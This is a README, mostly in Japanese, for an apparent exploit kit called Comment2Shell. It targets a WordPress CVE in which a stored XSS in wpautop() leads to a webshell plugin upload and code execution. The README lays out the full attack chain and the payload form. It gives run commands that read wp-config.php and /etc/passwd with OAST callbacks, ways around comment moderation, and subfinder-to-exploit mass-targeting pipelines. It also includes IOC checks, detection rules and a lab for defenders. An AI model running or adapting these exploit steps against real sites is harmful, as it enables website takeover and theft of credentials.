
ゼロクリック・プリ認証のWordPress CVE-2026-93485エクスプロイトチェーン:wpautop()の格納型XSSが管理者セッションのプラグインアップロードへ昇格し、自己削除型ウェブシェルに至る。スキャナー、シェル、Nucleiテンプレート付き。
Comment2Shellは、WordPressコアのwpautop()における認証前の格納型XSSであり、管理者セッション内でのリモートコード実行へとエスカレートするCVE-2026-93485のエンドツーエンドの概念実証です。匿名コメントがペイロードを仕込み、管理者が投稿を開くと、ブラウザがウェブシェルプラグインをアップロードし、コマンドを実行し、その後シェルを再び削除します。チェーン全体は依存関係のない単一のPythonファイルです。
Comment2Shellは、CVE-2026-93485のためのエクスプロイトおよびローカルラボキットです。このバグはwp-includes/formatting.php内の、コメントテキストに対して表示時に実行されるwpautop()段落フィルターに存在します。blockquote cite属性内の改行がHTMLコメントのプレースホルダーになり、blockquoteをラップする正規表現が最初の>で停止して属性の途中に段落タグを注入し、ブラウザがそれをハンドラーとして解析します。属性がゼロクリックでそれを発火させます。
onfocusautofocusこのツールはチェーン全体をカバーします。パッシブなバージョンスキャン、無害なXSSプローブ、認証前からRCEまでの完全なエクスプロイト、インタラクティブシェル、そして防御側のIOCチェックです。
このエクスプロイトにはアカウントもnonceも不要で、管理者が投稿を閲覧する以外の操作も必要ありません。コメントが開放されている必要があるだけです。
WordPressはウェブの大部分を占めており、wpautop()はコアコードであるため、脆弱なフィルターはテーマやプラグインに関係なく、影響を受けるすべてのインストールに同梱されています。このXSSは格納型で、認証前で、ゼロクリックです。管理者セッション内で実行されるため、単なる改ざんバグではありません。管理者Cookieがあればプラグインをインストールするのに十分であり、プラグインのインストールは任意のコード実行です。
修正はWordPress 7.1.1で提供され、25のブランチにわたり、4.7.36までバックポートされました。4.7.0から7.1.0までのすべてのリリースが影響を受けます。
WordPress 7.1.0に対する制御されたラボでの実行: 匿名コメントがペイロードを仕込み、管理者が投稿を開くとゼロクリックチェーンが発火し、ウェブシェルがアップロードされ、コマンド出力が返り、シェルが自身を削除します。ブラウザのタブタイトルが結果を報告し、Comment2Shell: shell uploadedまたはComment2Shell: admin login requiredのいずれかになります。正確な手順はdocker/README.mdを参照してください。
Comment2Shellはこの欠陥の発見を主張するものではありません。これはRafie Muhammad (Awesome Motive)によってHackerOne WordPressプログラムを通じて報告され、7.1.1で修正されました。ここでの貢献は、チェーン全体の再現可能で依存関係のない実装です:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
依存関係はありません。Python 3.8+の標準ライブラリのみで、pip installは不要です。
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -d targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
エクスプロイトペイロードはページ読み込み時に
alert("Comment2Shell XSS - CVE-2026-93485")を発火させます (autofocusによるゼロクリック)。管理者としてログインした状態で投稿を閲覧してください。成功するとタブタイトルがComment2Shell: shell uploadedと表示され、ブラウザに管理者セッションがない場合はComment2Shell: admin login requiredと表示されます。
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"
# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60
# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup
# With an OAST callback
python3 comment2shell.py -t https://target.com \
-c "cat /etc/passwd" \
--callback https://your-id.oast.example
# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
-c "whoami" --known-commenter
# Through a proxy
python3 comment2shell.py -t https://target.com \
-c "id" --proxy http://127.0.0.1:8080
このツールはXSSコメントを送信し、生成されたウェブシェルパスを3秒ごとにポーリングし (--wait秒まで)、管理者のブラウザがアップロードをトリガーするとコマンドを実行し、その後シェルを自己削除します (?d=1がPHPファイルをunlinkし、プラグインディレクトリを削除します)。そのため永続化は残りません。保持するには--no-cleanupを、ペイロードの送信のみを行うには--wait 0を渡してください。
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
--shell-path ab12cd/ab12cd.php
# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
--shell-path ab12cd/ab12cd.php -c "cat wp-config.php"
python3 comment2shell.py --ioc -t https://target.com
初めてのコメント投稿者からの新しいコメントは、通常モデレーションのために保留されます。このツールにはそれを回避する3つの経路があります:
| 経路 | 方法 | フラグ |
|---|---|---|
| 既知のコメント投稿者 | check_comment()が自動承認するデフォルトの「A WordPress Commenter」<[email protected]>を再利用 | --known-commenter |
| モデレーション無効 | comment_previously_approved=0の場合、任意のIDが自動承認される | デフォルト |
| 投稿者プレビュー | 以前のコメント投稿者が?unapproved=<id>&moderation-hash=<hash> Cookieを通じて保留中のコメントを閲覧できる | 自動 |
Patchstackによると: 「モデレーションはセキュリティ制御ではない。」
ローカルテスト用に脆弱なWordPress 7.1.0を起動します:
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80 (host networking)
# Admin: admin / Password123!
# Then: python3 comment2shell.py -t http://localhost -c "id"
各実行は新しいペイロードコメントを送信します。ページ上の最初のautofocusペイロードのみが実行されるため、ツールはライブペイロードを検出してそのパスをポーリングします。実行間で古いコメントをクリアするにはbash clean.shを実行してください。
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null
# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
onfocus%' ORDER BY comment_date DESC;"
# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
-newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
-not -path "*/hello*"
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"
# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|
# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
httpx -silent -title | \
grep -i "wordpress" | \
python3 comment2shell.py --scan --stdin --threads 20
# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
python3 comment2shell.py -t - -c "id" \
--callback https://your-id.oast.example
# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
--threads 30 -o scan_results.json --json
wp-includes/formatting.php:563 (脆弱、7.1.1より前):
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );
ペイロードは保存時点では無害なHTMLです。blockquote[cite]とcodeはコメント許可リスト (wp-includes/kses.php:605-633) に含まれています。改行はwp_kses_hair()の構文文字マップに含まれていません。エクスプロイトは表示時に発生し、comment_textフィルターが保存されたHTMLを変換する時点で起こります。
add_filter( 'comment_text', 'wptexturize' ); // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 ); // THE BUG
修正は7.1.1で25のブランチにわたり提供されました。4.7.0から7.1.0までのすべてのリリースが影響を受けます。
| ブランチ | 脆弱 <= | 修正済み |
|---|---|---|
| 7.1 | 7.1.0 | 7.1.1 |
| 7.0 | 7.0.4 | 7.0.5 |
| 6.9 | 6.9.7 | 6.9.8 |
| 6.8 | 6.8.8 | 6.8.9 |
| 6.7 | 6.7.7 | 6.7.8 |
| 6.6 | 6.6.7 | 6.6.8 |
| 6.5 | 6.5.10 | 6.5.11 |
| 6.4 | 6.4.10 | 6.4.11 |
| 6.3 | 6.3.10 | 6.3.11 |
| 6.2 | 6.2.11 | 6.2.12 |
| 6.1 | 6.1.12 | 6.1.13 |
| 6.0 | 6.0.14 | 6.0.15 |
| 5.9 | 5.9.16 | 5.9.17 |
| 5.8 | 5.8.15 | 5.8.16 |
| 5.7 | 5.7.17 | 5.7.18 |
| 5.6 | 5.6.19 | 5.6.20 |
| 5.5 | 5.5.20 | 5.5.21 |
| 5.4 | 5.4.21 | 5.4.22 |
| 5.3 | 5.3.23 | 5.3.24 |
| 5.2 | 5.2.26 | 5.2.27 |
| 5.1 | 5.1.24 | 5.1.25 |
| 5.0 | 5.0.27 | 5.0.28 |
| 4.9 | 4.9.31 | 4.9.32 |
| 4.8 | 4.8.30 | 4.8.31 |
| 4.7 | 4.7.35 | 4.7.36 |
Comment2Shell/
|-- comment2shell.py scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/ vulnerable WordPress 7.1.0 lab
| |-- docker-compose.yml
| |-- setup.sh
| |-- clean.sh
| +-- README.md
|-- nuclei/ detection template
|-- ioc/ server-side IOC checker
|-- requests/ raw HTTP exploit templates
|-- assets/ banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE
wptexturizeが属性をシールする) に依存します。クラシックテーマではトリガーされない可能性があります。docker/clean.shでクリアする必要があります。
このプロジェクトは、許可されたセキュリティテストと教育のために存在します。所有しているシステム、またはテストする明示的な書面による許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは、ほとんどの法域で違法です。作者は誤用や損害について責任を負いません。LICENSEを参照してください。
0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383